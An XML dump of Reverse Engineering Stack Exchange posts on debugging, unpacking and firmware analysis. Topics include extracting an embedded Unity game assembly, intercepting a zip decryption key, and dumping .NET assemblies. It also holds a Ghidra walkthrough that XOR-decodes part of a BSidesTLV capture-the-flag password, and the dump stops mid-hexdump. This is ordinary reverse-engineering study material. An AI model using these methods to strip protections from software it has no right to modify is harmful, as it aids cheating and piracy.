  <row Id="21533" PostTypeId="2" ParentId="21531" CreationDate="2019-06-22T20:00:54.450" Score="1" Body="&lt;p&gt;I assume that you don't have any more information about this &lt;em&gt;Secret dialog window&lt;/em&gt; than what you have written (that is you don't know how it looks like and the strings it contains, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In such a case, you can search for &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-getkeyboardstate&quot; rel=&quot;nofollow noreferrer&quot;&gt;GetKeyboardState&lt;/a&gt; function that may be used to obtain the keys pressed at a given time. After finding it, just look at the subsequent functions calls and you will probably find the function responsible for handling the information provided by &lt;code&gt;GetKeyboardState&lt;/code&gt; function, thus checking whether the keys being pressed match one of the program keyboard shortcuts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&#xA;&lt;code&gt;OllyDbg&lt;/code&gt; uses this method, as shown on the picture below (yes, it's a picture of &lt;code&gt;OllyDbg&lt;/code&gt; debugging itself ;) ):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/WnqUa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WnqUa.png&quot; alt=&quot;OllyGetKeyboardState&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you may notice, it firstly converts it to &lt;code&gt;ASCII&lt;/code&gt; code and then performs some checks.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-06-22T20:00:54.450" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21534" PostTypeId="1" AcceptedAnswerId="21542" CreationDate="2019-06-23T00:28:23.273" Score="3" ViewCount="17086" Body="&lt;p&gt;I'm trying to reverse engineer a game made with the Unity engine, and usually all of the games's scripts are in the files &lt;code&gt;\&amp;lt;Game&amp;gt;_Data\Managed\Assembly-CSharp.dll&lt;/code&gt; and &lt;code&gt;\&amp;lt;Game&amp;gt;_Data\Managed\Assembly-CSharp-firstpass.dll&lt;/code&gt;. However this game doesn't have the assembly dll in the managed directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried decompiling the exe with dnSpy but it doesn't  look like there is any .NET assembly inside:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mbWfW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mbWfW.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also used Process Monitor to check if the game loads any other .dll but it doesn't.&#xA;However, using Cheat Engine's mono dissector function I can see the two assembly dll's and all the classes and methods inside:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eo3Q2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eo3Q2.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my hypothesis is that the dll is embedded inside the exe somehow and loaded to the memory when the game starts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I debugged the game's executable with x64dbg, searched for string references for &quot;Assembly-Csharp&quot; and put a breakpoint where I think the dll is loaded, and found this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QOmXt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QOmXt.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decompiled this part of the program with ghidra and got this:&#xA;(I also decompiled it with x64dbg and got a similar result minus the variables names)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;undefined * FUN_1401a0070(undefined *puParm1,void **ppvParm2,undefined8 uParm3,undefined8 uParm4)&#xA;&#xA;{&#xA;  char cVar1;&#xA;  char cVar2;&#xA;  char *pcVar3;&#xA;  longlong lVar4;&#xA;  void **ppvVar5;&#xA;  undefined **ppuVar6;&#xA;  int iVar7;&#xA;  bool bVar8&#xA;;  int iVar9;&#xA;  undefined in_stack_ffffffffffffffb8;&#xA;  undefined uVar10;&#xA;  undefined7 in_stack_ffffffffffffffb9;&#xA;  int in_stack_ffffffffffffffc0;&#xA;  undefined8 local_38;&#xA;  ulonglong local_30;&#xA;&#xA;  iVar7 = 0;&#xA;  ppuVar6 = &amp;amp;PTR_s_Managed/Assembly-CSharp.dll_140f42ad8;&#xA;  do {&#xA;    pcVar3 = (char *)FUN_140007820();&#xA;    iVar9 = (int)uParm4;&#xA;    bVar8 = SUB81(uParm3,0);&#xA;    lVar4 = -(longlong)pcVar3;&#xA;    do {&#xA;      cVar2 = *pcVar3;&#xA;      cVar1 = pcVar3[(longlong)(*ppuVar6 + lVar4)];&#xA;      if (cVar2 != cVar1) break;&#xA;      pcVar3 = pcVar3 + 1;&#xA;    } while (cVar1 != '\0');&#xA;    if (cVar2 == cVar1) {&#xA;      lVar4 = -1;&#xA;      local_30 = 0xf;&#xA;      local_38 = 0;&#xA;      uVar10 = 0;&#xA;      pcVar3 = (&amp;amp;PTR_s_StreamingAssets/OtherAssets/Back_140f42ae8)[(longlong)iVar7];&#xA;      goto code_r0x0001401a012d;&#xA;    }&#xA;    ppuVar6 = ppuVar6 + 1;&#xA;    iVar7 = iVar7 + 1;&#xA;  } while ((longlong)ppuVar6 &amp;lt; 0x140f42ae8);&#xA;  *(undefined8 *)(puParm1 + 0x18) = 0xf;&#xA;  *(undefined8 *)(puParm1 + 0x10) = 0;&#xA;  *puParm1 = 0;&#xA;  FUN_14000b310(puParm1,ppvParm2);&#xA;  goto LAB_1401a01a0;&#xA;  while( true ) {&#xA;    lVar4 = lVar4 + -1;&#xA;    cVar2 = *pcVar3;&#xA;    pcVar3 = pcVar3 + 1;&#xA;    if (cVar2 == '\0') break;&#xA;    code_r0x0001401a012d:&#xA;    if (lVar4 == 0) break;&#xA;  }&#xA;  FUN_14000a8f0(&amp;amp;stack0xffffffffffffffb8);&#xA;  cVar2 = FUN_1402d8ab0(&amp;amp;stack0xffffffffffffffb8);&#xA;  *(undefined8 *)(puParm1 + 0x18) = 0xf;&#xA;  *(undefined8 *)(puParm1 + 0x10) = 0;&#xA;  ppvVar5 = (void **)&amp;amp;stack0xffffffffffffffb8;&#xA;  if (cVar2 == '\0') {&#xA;    ppvVar5 = ppvParm2;&#xA;  }&#xA;  iVar9 = -1;&#xA;  bVar8 = false;&#xA;  *puParm1 = 0;&#xA;  FUN_140009870(puParm1,ppvVar5);&#xA;  if (0xf &amp;lt; local_30) {&#xA;    operator_delete((void *)CONCAT71(in_stack_ffffffffffffffb9,uVar10),(MemLabelId)0x3b,bVar8,iVar9,&#xA;      (char *)CONCAT71(in_stack_ffffffffffffffb9,uVar10),in_stack_ffffffffffffffc0);&#xA;  }&#xA;  local_30 = 0xf;&#xA;  local_38 = 0;&#xA;  in_stack_ffffffffffffffb8 = 0;&#xA;  LAB_1401a01a0:&#xA;  if (&amp;amp;DAT_0000000f &amp;lt; ppvParm2[3]) {&#xA;    operator_delete(*ppvParm2,(MemLabelId)0x3b,bVar8,iVar9,&#xA;      (char *)CONCAT71(in_stack_ffffffffffffffb9,in_stack_ffffffffffffffb8),&#xA;      in_stack_ffffffffffffffc0);&#xA;  }&#xA;  *(undefined **)(ppvParm2 + 3) = &amp;amp;DAT_0000000f;&#xA;  ppvParm2[2] = (void *)0x0;&#xA;  *(undefined *)ppvParm2 = 0;&#xA;  return puParm1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And now I'm stuck, I'm looking for a way to extract this dll from the exe (if it's inside at all) and then decompile to C#.&#xA;Alternatively I would like to know if there is a way to decompile the IL code that cheat engine provides with the mono dissector tool, and translate it to readable C#.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty much a novice in reverse engineering so I'm sure I missed a lot of stuff, any help is welcome.&lt;/p&gt;&#xA;" OwnerUserId="28808" LastEditorUserId="28808" LastEditDate="2019-06-23T16:06:56.920" LastActivityDate="2020-06-25T15:58:04.887" Title="Unity game: Assembly dll embedded inside the exe" Tags="|dll|.net|game-hacking|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21535" PostTypeId="1" AcceptedAnswerId="21544" CreationDate="2019-06-24T07:27:00.167" Score="0" ViewCount="752" Body="&lt;p&gt;If an application is reading from a password protected zip file, is there a way to intercept the key being sent to decrypt the zip file. Or, is there a way to dump the files being read themselves?&lt;/p&gt;&#xA;" OwnerUserId="28818" LastActivityDate="2019-07-12T17:54:31.303" Title="Intercept zip decryption key or files from an application" Tags="|debugging|decryption|hooking|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="21537" PostTypeId="2" ParentId="12730" CreationDate="2019-06-24T13:32:21.573" Score="6" Body="&lt;p&gt;Another Hardware Packet Sniffer for USB is the ezSniffer ($79) &lt;a href=&quot;https://www.bugblat.com/products/ezsniff/index.html&quot; rel=&quot;noreferrer&quot;&gt;1&lt;/a&gt;.  It works with Full Speed and High Speed devices and there's a Python example for analysis.&lt;/p&gt;&#xA;" OwnerUserId="28820" LastActivityDate="2019-06-24T13:32:21.573" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21538" PostTypeId="1" CreationDate="2019-06-24T15:05:44.863" Score="5" ViewCount="5352" Body="&lt;p&gt;I'm trying to analyze the firmware of a system running Linux and connecting various home automation and security devices. Every time it boots, the &lt;a href=&quot;http://www.openipcam.com/files/ARM9/GM8126/GM8126%20v1.1/Docs/Datasheet/GM812X_Data_Sheet_V0.4.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;GM8125 processor&lt;/a&gt; running ARMv5TE loads a firmware image from the &lt;a href=&quot;https://www.winbond.com/resource-files/w25q128jv%20spi%20revc%2011162016.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;SPI flash&lt;/a&gt;. I connected to the flash with a Bus Pirate and pulled off the firmware image. When I run &lt;code&gt;binwalk&lt;/code&gt; on it, I get the following.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk spidump.bin &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;271284        0x423B4         Sega MegaDrive/Genesis raw ROM dump, Name: &quot;ETIR_ON&quot;, &quot;ECCAS&quot;,&#xA;744708        0xB5D04         CRC32 polynomial table, big endian&#xA;786432        0xC0000         gzip compressed data, maximum compression, from Unix, last modified: 1970-01-04 16:05:57 (bogus date)&#xA;917760        0xE0100         Linux kernel ARM boot executable zImage (big-endian)&#xA;9306332       0x8E00DC        Zlib compressed data, compressed&#xA;9307424       0x8E0520        Zlib compressed data, compressed&#xA;9308196       0x8E0824        Zlib compressed data, compressed&#xA;9309036       0x8E0B6C        Zlib compressed data, compressed&#xA;9310040       0x8E0F58        Zlib compressed data, compressed&#xA;9310220       0x8E100C        Zlib compressed data, compressed&#xA;9311200       0x8E13E0        Zlib compressed data, compressed&#xA;9312104       0x8E1768        JFFS2 filesystem, little endian&#xA;9317132       0x8E2B0C        Zlib compressed data, compressed&#xA;9317428       0x8E2C34        JFFS2 filesystem, little endian&#xA;9318332       0x8E2FBC        Zlib compressed data, compressed&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I run &lt;code&gt;binwalk -Mre&lt;/code&gt; it gives me nearly 6000 files and several hundred folders of the extracted &lt;code&gt;Zlib&lt;/code&gt; and &lt;code&gt;JFFS2&lt;/code&gt; data. After analyzing these, I thought I'd look at the boot image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I carved out the zImage by running &lt;code&gt;dd if=spidump.bin of=carved.bin bs=1 skip=917760 count=8388572&lt;/code&gt;. Running &lt;code&gt;file&lt;/code&gt; returns &lt;code&gt;carved.bin: Linux kernel ARM boot executable zImage (big-endian)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far so good. This is where I get lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From reading other posts here and elsewhere, it seems like I should search for the magic bytes of where compression starts--since this is big-endian, I run &lt;code&gt;objdump&lt;/code&gt; with a lot of results (only the first few lines listed).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ arm-none-eabi-objdump -EB -D -m armv5te -b binary carved.bin | grep 1f8b&#xA;    9b38:   1f8b3c36    svcne   0x008b3c36&#xA;   1f8b0:   bf2e3abe    svclt   0x002e3abe&#xA;   1f8b4:   0811cabb    ldmdaeq r1, {r0, r1, r3, r4, r5, r7, r9, fp, lr, pc}&#xA;   1f8b8:   baaee7f4    blt 0xfebd9890&#xA;   1f8bc:   fc3711aa    ldc2    1, cr1, [r7], #-680 ; 0xfffffd58&#xA;   20c38:   f3b1f8b9            ; &amp;lt;UNDEFINED&amp;gt; instruction: 0xf3b1f8b9&#xA;   233c0:   d1f8badf    ldrsble fp, [r8, #175]! ; 0xaf&#xA;   2c7d8:   011f8b05    tsteq   pc, r5, lsl #22&#xA;   2d990:   e9ff1f8b    ldmib   pc!, {r0, r1, r3, r7, r8, r9, sl, fp, ip}^  ; &amp;lt;UNPREDICTABLE&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I carve the file starting from the first occurrence of the magic bytes by running &lt;code&gt;dd if=carved.bin of=arm.gz bs=1 skip=39736&lt;/code&gt;. &lt;code&gt;file&lt;/code&gt; returns &lt;code&gt;arm.gz: gzip compressed data, unknown method, has CRC, extra field, has comment, encrypted, last modified: Mon Sep 15 08:57:49 1975&lt;/code&gt; and &lt;code&gt;gunzip&lt;/code&gt; refuses to unzip, saying &lt;code&gt;unknown method 60 -- not supported&lt;/code&gt;. Most later occurrences of &lt;code&gt;1f8b&lt;/code&gt; are not aligned at the beginning of a byte, so I assume they are not good candidates for carving and unzipping. It seems like the first occurrence, and subsequent occurrences, might just all be by chance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this truly a zImage, or could &lt;code&gt;binwalk&lt;/code&gt; and &lt;code&gt;file&lt;/code&gt; be confused? How can I tell? How do I extract it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I can't provide the binary for your own perusal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update - 6/25/2019&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've included a graph of the entropy of the file, as requested by julian. It does look like the section in question is compressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jFJnQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jFJnQ.png&quot; alt=&quot;spidump_entropy&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update - 7/5/2019&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon further review with an expert, it seems like &lt;code&gt;binwalk&lt;/code&gt; misidentified the type(s) of files. It looks like there is a custom unpacker I need to either disassemble or have it run and then take the unpacked image from memory.&lt;/p&gt;&#xA;" OwnerUserId="24714" LastEditorUserId="24714" LastEditDate="2019-07-05T13:05:56.083" LastActivityDate="2020-05-31T01:57:07.963" Title="Extracting ARM Boot zImage" Tags="|firmware|arm|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="21540" PostTypeId="2" ParentId="21534" CreationDate="2019-06-25T02:47:52.690" Score="1" Body="&lt;p&gt;You can use &lt;a href=&quot;https://github.com/0xd4d/de4dot&quot; rel=&quot;nofollow noreferrer&quot;&gt;de4dot&lt;/a&gt;, its best to restore a packed assembly, if failed to unpack files try &lt;a href=&quot;https://x64dbg.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;x64dbg&lt;/a&gt; and &lt;a href=&quot;https://github.com/x64dbg/ScyllaHide&quot; rel=&quot;nofollow noreferrer&quot;&gt;ScyllaHide&lt;/a&gt; plugin to dump and restore the dll.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Win32 dumper doesn't show .Net assembly and need a .Net dumper like &lt;a href=&quot;https://github.com/CodeCracker-Tools/MegaDumper&quot; rel=&quot;nofollow noreferrer&quot;&gt;MegaDumper&lt;/a&gt; OR &lt;a href=&quot;https://github.com/wwh1004/ExtremeDumper&quot; rel=&quot;nofollow noreferrer&quot;&gt;ExtremeDumper&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28824" LastEditorUserId="28824" LastEditDate="2020-03-24T22:24:46.200" LastActivityDate="2020-03-24T22:24:46.200" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21541" PostTypeId="2" ParentId="21519" CreationDate="2019-06-25T06:03:27.993" Score="1" Body="&lt;p&gt;bart1e answered your question right &#xA;this is just an extension to his answer with a different tool &lt;strong&gt;ghidra&lt;/strong&gt; and reversing purely statically without running the binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;golang uses a &lt;a href=&quot;https://science.raphael.poss.name/go-calling-convention-x86-64.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;different approach to calling functions&lt;/a&gt; it provides a memory slot in stack for arguments to the functions as well as multiple values it can return from a function &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example a function can return a sum and product of two integers in the same function like   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;func doMagic (x,y) { return x+y ,x*y )&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so roughly the disassembly will look like&lt;br&gt;&#xA;( it is just a simplification of details not absolute syntax or exact types are used )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it just tries to reiterate how golang uses &lt;strong&gt;stack&lt;/strong&gt;&lt;br&gt;&#xA;instead of traditional &lt;strong&gt;x64 abi registers or x86 abi memory / stack for arguments&lt;/strong&gt; and conventional&lt;br&gt;&#xA;&lt;strong&gt;returns in rax/eax&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov [stack] , x&#xA;mov [stack] , y&#xA;mov [stack] , &amp;amp;fret1&#xA;mov [stack] , &amp;amp;fret2&#xA;call doMagic&#xA;&#xA;and inside doMagic &#xA;t1 = x &#xA;t2 = y&#xA;t3 = t1  + t2&#xA;t4 = t1  * t2&#xA;fret1 = t3&#xA;fret2 = t4&#xA;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so reading around I found &lt;a href=&quot;https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/&quot; rel=&quot;nofollow noreferrer&quot;&gt;golang embeds the function names and its address in &lt;code&gt;.gopclntab&lt;/code&gt;&lt;/a&gt; section and was fooling around with renaming the functions and successfully renamed the functions with this hack of script below but the decompilation was still looking a horrible mess&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from ghidra import *&#xA;mem = currentProgram.getMemory()&#xA;start = mem.getBlock(&quot;.gopclntab&quot;).getStart()&#xA;provider = ghidra.app.util.bin.MemoryByteProvider(mem,start)&#xA;bread = ghidra.app.util.bin.BinaryReader(provider,True)&#xA;numfun = bread.readInt(8)&#xA;for i in range(0x10,numfun*0x10,0x10):  &#xA;    faddr = bread.readInt(bread.readInt(i+8))&#xA;    fname = bread.readAsciiString(bread.readInt(bread.readInt(i+8) + 8))&#xA;    print( &quot;creating function at &quot; + hex(faddr) + &quot;\t&quot; + fname )&#xA;    removeFunctionAt(toAddr(faddr))&#xA;    createFunction(toAddr(faddr),fname)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so i scoured around and hit upon a GitHub entry by &lt;a href=&quot;https://github.com/felberj/gotools&quot; rel=&quot;nofollow noreferrer&quot;&gt;felberj a ghidra script for golang&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;downloaded the script for 9.04 version copied it to ghidra/extension dir as instructed &#xA;in the project window did File-&gt;installExtension and restarted ghidra&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now i imported the binary again this time making sure i used the newly added golang language entry instead of default gcc x64 ghidra proposes &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and apart from renaming functions this extension also decoded the return types and changed the storage type of arguments to custom storage and assigned proper stack address to all the arguments and return values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now the decompilation of main.main was looking a bit more readable  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void main.main(void)&#xA;&#xA;{&#xA;&#xA;  byte Wrong [17];&#xA;  byte EPas [20];&#xA;  byte good [30];&#xA;  byte Ans [38];&#xA;  byte retry [40];&#xA;&#xA;&#xA;  ppbVar1 = *(in_FS_OFFSET + 0xfffffff8) + 0x10;&#xA;  if (good + 4 &amp;lt; *ppbVar1 || good + 4 == *ppbVar1) {&#xA;    runtime.morestack_noctxt();&#xA;    main.main();&#xA;    return;&#xA;  }&#xA;  EPas._0_8_ = 0xc5d38ad8cfdec4ef;EPas._8_4_ = 0xda8ad8df;EPas._12_4_ = 0xddd9d9cb;&#xA;  EPas._16_4_ = 0x90ced8c5;&#xA;  Wrong[0] = 0xf9; Wrong._1_4_ = 0xc2dec7c5;Wrong._5_4_ = 0x8acdc4c3;Wrong._9_4_ = 0xdd8ad9c3;&#xA;  Wrong._13_4_ = 0xcdc4c5d8;&#xA;  Ans._0_6_ = 0xd9cfcec3f9e8;  Ans._6_2_ = 0xe6fe;  Ans._8_2_ = 0xd1fc;  Ans._10_4_ = 0xcfdccfd8;&#xA;  Ans._14_4_ = 0x8acfcdc4;  Ans._18_4_ = 0xc88ad9c3;  Ans._22_4_ = 0x8aded9cf;  Ans._26_4_ = 0xdcd8cfd9;&#xA;  Ans._30_4_ = 0xc98acecf;  Ans._34_4_ = 0xd7cec6c5;&#xA;  good._0_4_ = 0x8adfc5f3;  good._4_4_ = 0xc9cbd8e9;  good._8_4_ = 0x8acecfc1;  good._12_2_ = 0xdec3;&#xA;  good._14_2_ = 0x8a86;  good._16_2_ = 0x8aeb;  good._18_4_ = 0xc5d8cfe2;  good._22_4_ = 0x8ad9c38a;&#xA;  good._26_4_ = 0xc4d8c5c8;&#xA;  retry._0_8_ = 0xc5fd8ade8dc4c5ee;  retry._8_4_ = 0x86d3d8d8;  retry._12_4_ = 0xc6cff88a;&#xA;  retry._16_4_ = 0x8a86d2cb;  retry._20_4_ = 0xc6c3c2e9;  retry._24_4_ = 0xc4cb8ac6;&#xA;  retry._28_4_ = 0xd8fe8ace;  retry._32_4_ = 0xcbc28ad3;  retry._36_4_ = 0xd8cfced8;&#xA;&#xA;  uStack224 = 0x14;&#xA;  rVar3 = main.ObfStr(EPas,0x14,0x14);&#xA;  uStack0000000000000020 = SUB168(rVar3,0);&#xA;  uStack0000000000000028 = SUB168(rVar3 &amp;gt;&amp;gt; 0x40,0);&#xA;  uStack0000000000000018 = runtime.convTstring(in_stack_fffffffffffffe10,in_stack_fffffffffffffe18);&#xA;  pdStack232 = &amp;amp;DAT_0049a600;&#xA;  puVar7 = 0x1;&#xA;  lVar9 = 1;&#xA;  fmt.Fprint(&amp;amp;PTR_DAT_004d3a60,DAT_0055b7f0,&amp;amp;pdStack232,1,1);&#xA;  uStack152 = DAT_0055b7e8;&#xA;  apuStack96[0] = 0x0;&#xA;  FUN_00451d15();&#xA;  lVar5 = 0x1000;&#xA;  lVar6 = 0x1000;&#xA;  runtime.makeslice(&amp;amp;DAT_0049a740,0x1000,0x1000);&#xA;  puStack184 = 0x0;&#xA;  puVar8 = puVar7;&#xA;  FUN_00451d15();&#xA;  uStack176 = 0x1000;&#xA;  uStack168 = 0x1000;&#xA;  ppuStack160 = &amp;amp;PTR_DAT_004d3a40;&#xA;  uStack112 = 0xffffffffffffffff;&#xA;  uStack104 = 0xffffffffffffffff;&#xA;  puStack184 = puVar7;&#xA;  apuStack96[0] = puVar7;&#xA;  FUN_0045207a();&#xA;  rVar2 = bufio.(*Reader).ReadLine(apuStack96);&#xA;  uStack0000000000000010 = SUB488(rVar2,0);&#xA;  uStack0000000000000018 = SUB488(rVar2 &amp;gt;&amp;gt; 0x40,0);&#xA;  uStack0000000000000020 = SUB488(rVar2 &amp;gt;&amp;gt; 0x80,0);&#xA;  uStack0000000000000028 = SUB488(rVar2 &amp;gt;&amp;gt; 0xc0,0);&#xA;  if (lStack480 != 0) {&#xA;    uStack208 = 0x11;&#xA;    rVar3 = main.ObfStr(Wrong,0x11,0x11);&#xA;    uStack0000000000000020 = SUB168(rVar3,0);&#xA;    uStack0000000000000028 = SUB168(rVar3 &amp;gt;&amp;gt; 0x40,0);&#xA;    uStack0000000000000018 = runtime.convTstring(puVar8,lVar9);&#xA;    if (lStack480 != 0) {&#xA;      lStack480 = *(lStack480 + 8);&#xA;    }&#xA;    pdStack216 = &amp;amp;DAT_0049a600;&#xA;    puVar8 = 0x2;&#xA;    lVar9 = 2;&#xA;    lStack200 = lStack480;&#xA;    rVar4 = fmt.Fprintln(&amp;amp;PTR_DAT_004d3a60,DAT_0055b7f0,&amp;amp;pdStack216,2,2);&#xA;    uStack0000000000000040 = SUB248(rVar4 &amp;gt;&amp;gt; 0x80,0);&#xA;  }&#xA;  rVar3 = main.ObfStr(Ans,0x26,0x26);&#xA;  uStack0000000000000020 = SUB168(rVar3,0);&#xA;  uStack0000000000000028 = SUB168(rVar3 &amp;gt;&amp;gt; 0x40,0);&#xA;  if ((lVar9 == lVar6) &amp;amp;&amp;amp;&#xA;     (uStack0000000000000020 = runtime.memequal(lVar5,puVar8,lVar6), puVar8 != '\0')) {&#xA;    uStack240 = 0x1e;&#xA;    rVar3 = main.ObfStr(good,0x1e,0x1e);&#xA;    uStack0000000000000020 = SUB168(rVar3,0);&#xA;    uStack0000000000000028 = SUB168(rVar3 &amp;gt;&amp;gt; 0x40,0);&#xA;    uStack0000000000000018 = runtime.convTstring(puVar8,lVar9);&#xA;    pdStack248 = &amp;amp;DAT_0049a600;&#xA;    fmt.Fprintln(&amp;amp;PTR_DAT_004d3a60,DAT_0055b7f0,&amp;amp;pdStack248,1,1);&#xA;    return;&#xA;  }&#xA;  uStack256 = 0x28;&#xA;  rVar3 = main.ObfStr(retry,0x28,0x28);&#xA;  uStack0000000000000020 = SUB168(rVar3,0);&#xA;  uStack0000000000000028 = SUB168(rVar3 &amp;gt;&amp;gt; 0x40,0);&#xA;  uStack0000000000000018 = runtime.convTstring(puVar8,lVar9);&#xA;  pdStack264 = &amp;amp;DAT_0049a600;&#xA;  fmt.Fprintln(&amp;amp;PTR_DAT_004d3a60,DAT_0055b7f0,&amp;amp;pdStack264,1,1);&#xA;  return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so as you can see it prints a string Enter password &#xA;reads a line &#xA;compares the entered pass with a obfuscated (simple xor with byte 0xaa ) actual password &#xA;and prints good , you are a hero &#xA;or prints wrong retry&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the deobfuscation routine is main.obfstr() it takes a bytearray and length to xor &#xA;and returns a xorred string back&lt;/p&gt;&#xA;&#xA;&lt;p&gt;based on these observations we can write a simple  xor script &lt;/p&gt;&#xA;&#xA;&lt;p&gt;that takes an address the byte to xor and length and xor the results to get the pass without running the binary&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is naive xor script (naïve because it ran for me the one time i tested in my machine and can have innumerable unanticipated corner case bugs)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#Desc xors a memory block of len unsigned bytes with a single unsigend byte like (0xff ^ 0xaa)&#xA;#@author      blabb &#xA;#@category    _NEW_&#xA;#@keybinding  &#xA;#@menupath    none&#xA;#@toolbar     &#xA;&#xA;import ghidra&#xA;def hexdump( a ):&#xA;    for j in range(0,len(a),16):&#xA;        for i in range(j,j+16,1):&#xA;            if( i &amp;lt; len(a)):&#xA;                print ( &quot;%02x &quot; % a[i]),&#xA;            else:&#xA;                print ( &quot;%02x &quot; % 0 ),  &#xA;        for i in range(j,j+16,1):&#xA;            if( i &amp;lt; len(a)):&#xA;                print ( &quot;%c&quot; % chr( a[i] ) ),&#xA;            else:&#xA;                print ( &quot; &quot; ),&#xA;        print(&quot;\n&quot;)&#xA;&#xA;baseaddr = askAddress( &quot;XOR MEMORY&quot;,&quot;Enter Base Addreess&quot;)&#xA;xorby    = askInt    ( &quot;XOR MEMORY&quot;,&quot;Enter Byte to xor with&quot;)&#xA;xorlen   = askInt    ( &quot;XOR MEMORY&quot;,&quot;enter length of xor block&quot;)&#xA;res = []&#xA;provider = ghidra.app.util.bin.MemoryByteProvider(currentProgram.getMemory(),baseaddr)&#xA;br =       ghidra.app.util.bin.BinaryReader(provider,True)&#xA;for i in range(0,xorlen,1):&#xA;    res.append((br.readUnsignedByte(i) ^ xorby))&#xA;hexdump(res)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;running this and providing the memory address for password 0x4d3ae0,xorbyte 0xaa,len 0x26 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;we can easily get the password &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xormem.py&amp;gt; Finished!&#xA;xormem.py&amp;gt; Running...&#xA;42  53  69  64  65  73  54  4c  56  7b  72  65  76  65  6e  67  B S i d e s T L V { r e v e n g &#xA;&#xA;65  20  69  73  20  62  65  73  